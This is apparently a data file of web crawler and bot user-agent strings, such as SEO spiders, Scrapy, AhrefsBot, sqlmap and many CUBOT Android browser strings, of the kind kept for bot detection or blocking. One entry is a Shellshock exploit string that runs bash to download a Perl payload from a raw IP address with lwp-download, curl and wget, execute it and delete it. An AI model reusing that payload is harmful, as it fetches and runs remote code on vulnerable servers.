rogerbot/1.0 (http://www.seomoz.org/dp/rogerbot rogerbot-crawler+shiny@seomoz.org)
rogerbot/1.1 (http://moz.com/help/guides/search-overview/crawl-diagnostics#more-help, rogerbot-crawler+pr4-crawler-15@moz.com)
Scrapy/1.1.3 (+http://scrapy.org)
Scrapy/2.11.2 (+https://scrapy.org)
Screaming Frog SEO Spider/2.11
Screaming Frog SEO Spider/20.2
Spider/Bot
sqlmap/1.2.3#stable (http://sqlmap.org)
UnwindFetchor/1.0 (+http://www.gnip.com/)
Validator.nu/LV http://validator.w3.org/services
W3C_Validator/1.3 http://validator.w3.org/services
wonderbot/JS 1.0
WordPress.com; https://ireneses.wordpress.com
admantx-euaspb/2.5 (+http://www.admantx.com/service-fetcher.html)
Chimu/1.0 Whois Robots (http://whois.li.cm) cd cat
Comodo-Webinspector-Crawler 2.2.1 http://www.comodorobot.com
GetIntent Crawler (http://getintent.com/bot.html)
got (https://github.com/sindresorhus/got)
GSLFbot
http://whois.gcoupon.com/www.zjgbrk.com
Iframely/1.2.2 (+https://iframely.com/;)
Iframely/1.3.1 (+https://iframely.com/docs/about) Atlassian
istellabot/t.1
KSCrawler/Nutch-1.0 (http://www.kindsight.net/en/kscrawler; crawler@kindsight.net)
LexxeBot/1.0 (lexxebot@lexxe.com)
LinkedInBot/1.0 (compatible; Mozilla/5.0; Apache-HttpClient +http://www.linkedin.com)
LinkMan 1.5 by http://www.phpjunkyard.com
mindUpBot (datenbutler.de)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) yolinkBot
Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html;) Gecko/2008032620
Mozilla/5.0 (compatible; Adsbot/3.1; +https://seostar.co/robot/)
Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/) [ip:195.154.126.87]
Mozilla/5.0 (compatible; aiHitBot/2.9; +https://www.aihitdata.com/about)
Mozilla/5.0 (compatible; archive.org_bot; Archive-It; +http://archive-it.org/files/site-owners.html)
Mozilla/5.0 (compatible; Charlotte/1.0t; http://www.searchme.com/support/)
Mozilla/5.0 (compatible; Dataprovider; https://www.dataprovider.com/spider/)
Mozilla/5.0 (compatible; discobot/2.0; +http://discoveryengine.com/discobot.html)
Mozilla/5.0 (compatible; heritrix/3.1.1 +http://www.run4dom.com)
Mozilla/5.0 (compatible; HyperCrawl/0.2; +http://www.seograph.net/bot.html)
Mozilla/5.0 (compatible; LinkChecker/8.6; +http://wummel.github.io/linkchecker/)
Mozilla/5.0 (compatible; LinkpadBot/1.12; +http://www.linkpad.ru)
Mozilla/5.0 (compatible; Linux x8664; Mail.RUBot/Fast/2.0; +http://go.mail.ru/help/robots)
Mozilla/5.0 (compatible; news bot /2.1)
Mozilla/5.0 (compatible; parsijoo-bot; +http://www.parsijoo.ir/; ehsanmousa@parsijoo.ir)
Mozilla/5.0 (compatible; Qualidator.com Bot 1.0;)
Mozilla/5.0 (compatible; SemrushBot-OCOB/1; +https://www.semrush.com/bot/)
Mozilla/5.0 (compatible; SemrushBot/0.96.3; +http://www.semrush.com/bot.html)
Mozilla/5.0 (compatible; SemrushBot/0.97; +http://www.semrush.com/bot.html)
Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html) X-Middleton/1
Mozilla/5.0 (compatible; spbot/4.0.3; +http://www.seoprofiler.com/bot )
Mozilla/5.0 (compatible; Thumbshots.ru; +http://thumbshots.ru/bot) Firefox/3
Mozilla/5.0 (compatible; TweetmemeBot/2.11; +http://tweetmeme.com/)
Mozilla/5.0 (compatible; YandexBlogs/0.99; robot; B; +http://yandex.com/bots) 1 readers
Mozilla/5.0 (compatible; YandexRenderResourcesBot/1.0; +http://yandex.com/bots) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.268
Mozilla/5.0 (compatible; YesupBot/1.0; +http://www.yesup.net/bot.html)
Mozilla/5.0 (http://temnos.com; rv:38.0) Gecko/20100101 Firefox/38.0
Mozilla/5.0 (Linux; Android 4.2.1; CUBOT GT99 Build/JOP40D) AppleWebKit/535.19 (KHTML like Gecko) Chrome/18.0.1025.166 Mobile Safari/535.19
Mozilla/5.0 (Linux; Android 5.1; CUBOT_NOTE_S Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT DINOSAUR Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT MAX Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.158 Mobile Safari/537.36
Mozilla/5.0 (Linux; U; Android 4.2.1; ru-ru; CUBOT GT99 Build/JOP40D) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.1; ru-ru; CUBOT ONE Build/JOP40D) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.2; de-de; CUBOT GT72E Build/JDQ39) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; CUBOT GT72E Build/JDQ39) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Macintosh; Butterfly/1.0; +http://labs.topsy.com/butterfly/) Gecko/2009032608 Firefox/3.0.8
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML like Gecko) Chrome/41.0.2228.0 Safari/537.36 NimbusBot/1.0
Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.15 (KHTML like Gecko; +http://www.diffbot.com) Chrome/24.0.1295.0 Safari/537.15
Mozilla/5.0 (X11; U; Linux x8664; en-US; rv:1.9.0.5) Gecko/2010033101 Gentoo Firefox/3.0.5 (Dot TK
Mozilla/5.0 AppleWebkit/537.36 (KHTML, like Gecko) Trident/7.0; rv:11.0, Chrome/42.0.2311.135, Edge/12.10136, http://www.shrinktheweb.com/, Webshot/0.9
Mozilla/5.0 compatible; yelpspider/yelpspider-1.0 (Crawlerbot run by Yelp Inc; yelpbot at yelp dot com)
Mozilla/5.0 http://fairshare.cc (X11; U; FreeBSD i386; en-US; rv:1.2a) Gecko/20021021
Mozilla/5.0+(compatible; MxToolbox/Beta7; http://www.mxtoolbox.com/)
My Nutch Spider/Nutch-1.9
NCBot http://netcomber.comstba2Tool for finding all their domain names
RSSingBot (http://www.rssing.com)
SafeDNS search bot/Nutch-1.9 (https://www.safedns.com/searchbot; support at safedns dot com)
Scrapy/1.2.2 (+http://scrapy.org)
Scrapy/2.5.0 (+https://scrapy.org)
Screaming Frog SEO Spider/8.3
SimplePie/1.1.3 (Feed Parser; http://simplepie.org; Allow like Gecko) Build/20081219
SimplePie/1.2 (Feed Parser; http://simplepie.org; Allow like Gecko) Build/20090627192103
spiderman
sqlmap/1.0-dev (http://sqlmap.org)
squirrobot/1.0 (http://intro.squirro.com/squirrobot/)
TinEye-bot/0.51 (see http://www.tineye.com/crawler.html)
TinyTestBot
Turnitin (https://bit.ly/2UvnfoQ)
W3C-mobileOK/DDC-1.0 (see http://www.w3.org/2006/07/mobileok-ddc)
webprosbot/2.0 (+mailto:abuse-6337@webpros.com)
WordPress.com; https://newsroomonlinow.wordpress.com
() { :;}; /bin/bash -c cd /tmp;lwp-download -a http://188.138.69.229/gnu;curl -O http://188.138.69.229/gnu;wget http://188.138.69.229/gnu;perl /tmp/gnu*;perl gnu;rm -rf /tmp/gnu*
(info@domaincrawler.com; http://www.domaincrawler.com/whatmyip.co)
7Siters/1.07 (+http://7ooo.ru/siters/)
7Siters/1.08 (+https://7ooo.ru/siters/)
AdBot 1.0 (www.adnetik.com)
admantx-eusy01/2.4 (+http://www.admantx.com/service-fetcher.html)
AportCatalogRobot/2.0
BacklinkCrawler (http://www.backlinktest.com/crawler.html)
betasearch/Nutch-2.1 (Academic Beta Search; http://www.aramabeta.com; info@aramabeta.com)
bhcBot
CJNetworkQuality; http://www.cj.com/networkquality
E. Orliac, G. Fourestey/1.0 (A Patent Crawler; http://scitas.epfl.ch/; etienne.orliac@unil.ch gilles.fourestey@epfl.ch)
facebookexternalhit/1.0 (+http://www.facebook.com/externalhit_uatext.php)
GarlikCrawler/1.2 (http://garlik.com/, crawler@garlik.com)
http://reviews.gcoupon.com/info/whois/www.suzhoucanyin.com
http://reviews.gcoupon.com/info/whois/www.zjgbrk.com
HTTPRequest2/2.1.1 (http://pear.php.net/package/httprequest2) PHP/5.3.2-1ubuntu4.17
HTTPRequest2/2.1.1 (http://pear.php.net/package/httprequest2) PHP/5.3.27
HTTPRequest2/2.2.0 (http://pear.php.net/package/httprequest2) PHP/5.3.29
HubSpot Links Crawler 2.0 http://www.hubspot.com
Iframely/1.3.1 (+https://iframely.com/docs/about)
Jigsaw/2.3.0 W3CCSSValidatorJFouffa/2.0 (See http://validator.w3.org/services)
LinkedInBot/1.0 (compatible; Mozilla/5.0; Jakarta Commons-HttpClient/3.1 +http://www.linkedin.com)/1.0 (LinkedInBot; https://www.linkedin.com/; omni-crawler@linkedin.com)
Mechanize/2.7.5 Ruby/2.3.1p112 (http://github.com/sparklemotion/mechanize/)
Mediatoolkitbot (complaints@mediatoolkit.com)
mfibot/1.1 (http://www.mfisoft.ru/analyst/; ; en-RU)
Microsoft.Data.Mashup (https://go.microsoft.com/fwlink/?LinkID=304225)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; CollapsarWEB qihoobot@qihoo.net)
Mozilla/5.0 (Android 4.2; rv:19.0) Gecko/20121129 Firefox/19.0I Greetings I UssU.DULKARNEEN666GROUP.UssU I Greetings I https://dulkarneen666group.us.suhlUssU I http://dulkarneen666group.us.suhlUssU I ftp://dulkarneen666group.us.suhlUssU I https://groups.g
Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/) [ip:195.154.122.67]
Mozilla/5.0 (compatible; FLinkhubbot/1.1; +hello@flinkhub.com )
Mozilla/5.0 (compatible; https://disqus.com)
Mozilla/5.0 (compatible; LinkisBot/1.0; bot@linkis.com) (iPhone; CPU iPhone OS 8_4_1 like Mac OS X) Mobile/12H321
Mozilla/5.0 (compatible; Lipperhey SEO Service; http://www.lipperhey.com/)
Mozilla/5.0 (compatible; MJ12bot/v1.2.2; http://www.majestic12.co.uk/bot.php?+)
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.0;.NET CLR 1.0.3705; ContextAd Bot 1.0)
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; Xbox)XBMC/3.3-DEV-r31572 (Xbox; http://www.xbmc.org)
Mozilla/5.0 (compatible; OpenindexSpider; +http://www.openindex.io/en/webmasters/spider.html)
Mozilla/5.0 (compatible; PaperLiBot/2.1; https://support.paper.li/entries/20023257-what-is-paper-li)
Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)
Mozilla/5.0 (compatible; Scopia Crawler 1.2; +http://www.scopia.co)
Mozilla/5.0 (compatible; SemrushBot/0.97bl; +http://www.semrush.com/bot.html)
Mozilla/5.0 (compatible; SemrushBot/0.99bl; +http://www.semrush.com/bot.html)
Mozilla/5.0 (compatible; SEOkicks-Robot +http://www.seokicks.de/robot.html)
Mozilla/5.0 (compatible; SMTBot/1.0; +http://www.similartech.com/smtbot)
Mozilla/5.0 (compatible; SpiderLing (a SPIDER for LINGustic research); +http://nlp.fi.muni.cz/projects/biwec/)
Mozilla/5.0 (compatible; WebThumbnail/3.x; Website Thumbnail Generator; +http://webthumbnail.org)
Mozilla/5.0 (compatible; YandexSitelinks; Dyatel; +http://yandex.com/bots)
Mozilla/5.0 (compatible; yoozBot-2.2; http://yooz.ir; info@yooz.ir)
Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1;360Spider
Mozilla/5.0 (Linux; Android 4.4.2; GLX SpiderI Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.83 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 4.4.2; GLX SpiderI Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.95 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 5.1; CUBOT_NOTE_S Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.81 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 5.1; CUBOT_NOTE_S Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.91 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT DINOSAUR Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT DINOSAUR Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT ECHO Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT ECHO Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.99 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT H3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.99 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT MAGIC Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT R9 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT X18) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.80 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT R11 Build/O11019) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36
Mozilla/5.0 (Linux; U; Android 4.2.1; en-us; CUBOT GT99 Build/JOP40D) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GLX SpiderI Build/JDQ39) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.2; it-it; CUBOT P9 Build/JDQ39) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 7.0; CUBOT MAGIC Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/84.0.4147.125 Mobile Safari/537.36 OPR/51.0.2254.150807
Mozilla/5.0 (SnapPreviewBot) Gecko/20061206 Firefox/1.5.0.9
Mozilla/5.0 (Windows NT 10.0; ZumBot/1.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Mozilla/5.0 (X11; U; Gentoo x8664; de-DE) http://eulenspiegel.name Firefox/14.0.1
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://docs.perplexity.ai/docs/perplexity-bot)
Mozilla/bintellibot
Mozilla/xintellibot
MXT/Nutch-1.10 (http://t.co/GSRLLKex24; informatique at mixdata dot com)
Node/simplecrawler 0.3.9 (http://github.com/cgiffard/node-simplecrawler.git)
Nutch/2.2.1 (page scorer; http://integralads.com/site-indexing-policy/)
Opera/9.70 (Linux armv7l ; U; turbotabbee/TSV2.0/1.02Q; fr) Presto/2.2
Peeplo Screenshot Bot/0.20 ( abuse at peeplo dotcom )
Peeplo Screenshot Bot/0.20 ( abuse at peeplo dotcom ) (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0)
Phantom.js bot
PiplBot (+http://www.pipl.com/bot/)
PleskBot
psbot/0.1 (+http://www.picsearch.com/bot.html)
PubMatic Crawler Bot
Pu_iN Crawler (+http://semanticjuice.com/)
pyspider/0.3.10 (+http://pyspider.org/)
qingdao bieshu chushou qingdao villa for sale http://www.dahoms.com
Readability/6534b2
Readability/9e6469
rogerbot/1.0 (http://www.seomoz.org/dp/rogerbot rogerbot-crawler@seomoz.org)
Scrapy/0.16.4 (+http://scrapy.org)
Scrapy/1.0.1 (+http://scrapy.org)
Scrapy/2.12.0 (+https://scrapy.org)
Scrapy/2.4.1 (+https://scrapy.org)
Screaming Frog SEO Spider/10.2
Screaming Frog SEO Spider/19.4
Screaming Frog SEO Spider/3.3
Screaming Frog SEO Spider/7.2
semanticbot
SkimBot/1.0 (www.skimlinks.com dev@skimlinks.com)
SNK Screenshot Bot/0.20 ( abuse at savenkeep dotcom )
Spiderbot
sqlmap/1.2.1.11#dev (http://sqlmap.org)
TurnitinBot/3.0 (http://www.turnitin.com/robot/crawlerinfo.html)
User-Agent:Mozilla/5.0 (SaidwotBot)
W3CValidator/1.3 http://validator.w3.org/services
WordPress.com; http://goldbarreporter.org
WordPress.com; https://hhhhhhhhhhf2.wordpress.com
Wotbox/2.01 (+http://www.wotbox.com/bot/)
admantx-euaspb/3.0 (+http://www.admantx.com/service-fetcher.html)
Ahrefsbot
AppCodes crawler
BananaBot/0.6.1
bitlybot/2.0
BlogBridge 2.13 (http://www.blogbridge.com/)
BorneoBot/0.9.1 (crawlcheck123@gmail.com)
bot
Bot.AraTurka.com/0.0.1
CheckMarkNetwork/1.0 (+http://www.checkmarknetwork.com/spider.html)
Chrome/49.0.2623.87 (compatible; Wappalyzer; +https://github.com/AliasIO/Wappalyzer)
COIBotLinkSaver/2.0
CorenSearchBot/1.7 en libwww-perl/6.03
DoCoMo/2.0 P900i(c100;TB;W24H11) (compatible; ichiro/mobile goo; +http://search.goo.ne.jp/option/use/sub4/sub4-1/)
EasyBib AutoCite (http://content.easybib.com/autocite/)
Experibot_v1 [bit.ly/2bLMJdw]
German Wikipedia Broken Weblinks Bot; contact: gifti@tools.wmflabs.org
gooblog/2.0 (http://help.goo.ne.jp/contact/)
hivaBot(http://gorgor.ir and info@gorgor.ir)/hivaBot-0.2
hivaBot/hivaBot-0.2 (http://gorgor.ir; info@gorgor.ir)
hivaBot/hivaBot-0.2 (info@gorgor.ir)
http://www.checkprivacy.or.kr:6600/RS/PRIVACY_ENFAQ.jsp
http://www.nominet.org.uk/privacypolicy
HubSpot Connect 2.0 (http://dev.hubspot.com/)
HybridBot (hybrid.ru/about. If our bot caused problems please contact us. Contact email: m.lyashkov@targetix.net)
Iframely/1.2.7 (+http://iframely.com/;)
ImplisenseBot 1.1
LABLEBot
LanaiBotapr1
LinkStats Bot
MagpieRSS/0.7x (+http://magpierss.sf.net)
MessengerShare/1.0 (+http://profile.live.com/UAInfo)
Mozilla/4.0 (compatible; Vagabondo/4.0; webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/; http://www.wise-guys.nl/)
Mozilla/5.0 (compatible; AdvBot/2.0; +http://advbot.net/bot.html)
Mozilla/5.0 (compatible; AdvBot/2.0; +http://advbot.org/bot.html)
Mozilla/5.0 (compatible; AhrefsBot/5.2; http://ahrefs.com/robot/)
Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/) [ip:168.119.68.244]
Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/) [ip:168.119.68.251]
Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/) [ip:195.154.122.209]
Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/) [ip:195.154.122.232]
Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/) [ip:195.154.122.65]
Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/) [ip:195.154.123.25]
Mozilla/5.0 (compatible; AhrefsSiteAudit/5.2; +http://ahrefs.com/robot/)
Mozilla/5.0 (compatible; aiHitBot/1.0; +http://www.aihit.com/)
Mozilla/5.0 (compatible; aiHitBot/2.8; +http://endb-consolidated.aihit.com/)
Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)
Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)
Mozilla/5.0 (compatible; EARTHCOM/2.2; +http://enter4u.eu)
Mozilla/5.0 (compatible; ENVCheck/1.0 +http://envc.dip.jp/bot.html)
Mozilla/5.0 (compatible; EveryoneSocialBot/1.0; support@everyonesocial.com http://everyonesocial.com/)
Mozilla/5.0 (compatible; GeliyooBot/1.0beta; +http://www.geliyoo.com/)
Mozilla/5.0 (compatible; Genieo/1.0 http://www.genieo.com/webfilter.html
Mozilla/5.0 (compatible; heritrix/3.1.1 +http://www.mixdata.com)
Mozilla/5.0 (compatible; heritrix/3.2.0 +http://www.mixdata.com)
Mozilla/5.0 (compatible; heritrix/3.2.0 +https://www.webdepozit.sk)
Mozilla/5.0 (compatible; indonesiancoder/1.0; +http://indonesiancoder.com)
Mozilla/5.0 (compatible; linkdexbot/2.1; +http://www.linkdex.com/bots/)
Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/Fast/2.0; +https://help.mail.ru/webmaster/indexing/robots)
Mozilla/5.0 (compatible; Magibot/4.0.0; +http://magi.peak-labs.com/robots.txt)
Mozilla/5.0 (compatible; Mappy/1.0; +http://mappydata.net/bot/)
Mozilla/5.0 (compatible; MJ12bot/v1.4.3; http://www.majestic12.co.uk/bot.php?+)
Mozilla/5.0 (compatible; nbot/2.0)
Mozilla/5.0 (compatible; Neevabot/1.0; +https://neeva.com/neevabot)
Mozilla/5.0 (compatible; OpenHoseBot/2.1; +http://www.openhose.org/bot.html)
Mozilla/5.0 (compatible; parsijoo; +http://www.parsijoo.ir/; ehsan.mousakazemi@gmail.com)
Mozilla/5.0 (compatible; Qualidator.com Bot 0.9;)
Mozilla/5.0 (compatible; rogerBot/1.0; UrlCrawler; http://www.seomoz.org/dp/rogerbot)
Mozilla/5.0 (compatible; SemrushBot-SA/0.97; +http://www.semrush.com/bot.html)
Mozilla/5.0 (compatible; SemrushBot/1.2~bl; http://www.semrush.com/bot.html)
Mozilla/5.0 (compatible; SemrushBot; +http
Mozilla/5.0 (compatible; Snipebot/1.0; +http://snipebot.com/bot.html)
Mozilla/5.0 (compatible; spbot/4.0; +http://www.seoprofiler.com/bot )
Mozilla/5.0 (compatible; TOBBOT; +http://tobbot.com/)
Mozilla/5.0 (compatible; TWCBOT/1.0; +http://totalwebcreation.com/bots.html)
Mozilla/5.0 (compatible; U; AnyEvent-HTTP/2.24; +http://software.schmorp.de/pkg/AnyEvent)
Mozilla/5.0 (compatible; UnisterBot; crawler@unister.de)
Mozilla/5.0 (compatible; wpbot/1.1; +https://forms.gle/ajBaxygz9jSR8p8G9)
Mozilla/5.0 (compatible; X-CAD-SE/1.5; +http://info.cadse.easterngraphics.com/wacontact/) Java/1.8.060
Mozilla/5.0 (compatible; X-CAD-SE/1.75; +http://info.cadse.easterngraphics.com/wa_contact/) Java/1.8.0_60
Mozilla/5.0 (compatible; YandexImageResizer/2.0; +http://yandex.com/bots)
Mozilla/5.0 (compatible; YandexNews/3.0; +http://yandex.com/bots)
Mozilla/5.0 (compatible; YYSpider; +http://www.yunyun.com/spider.html)
Mozilla/5.0 (http://temnos.com) Gecko/20061208 Firefox/2.0.0.1
Mozilla/5.0 (Linux; Android 4.2.1; CUBOT GT99 Build/JOP40D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Mobile Safari/535.19
Mozilla/5.0 (Linux; Android 4.2.2; GLX SpiderI Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 5.1; CUBOT_NOTE_S Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 5.1; CUBOT_NOTE_S Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.91 Mobile Safari/537.36 OPR/42.8.2246.118192
Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)
Mozilla/5.0 (Linux; Android 6.0; CUBOT DINOSAUR Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT ECHO Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT ECHO Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT ECHO Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.137 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT ECHO Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.158 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT MAX Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT MAX Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.91 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_MANITO Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.124 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.85 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.137 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/58.0.3029.83 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/69.0.3497.100 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.64 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.80 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.96 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT R9 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT X18 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.158 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT X18 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.0.0; CUBOT_X18_Plus Build/O00623) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.91 Mobile Safari/537.36
Mozilla/5.0 (Linux; U; Android 4.2.1; es-es; CUBOT GT99 Build/JOP40D) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.1; it-it; CUBOT ONE Build/JOP40D) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
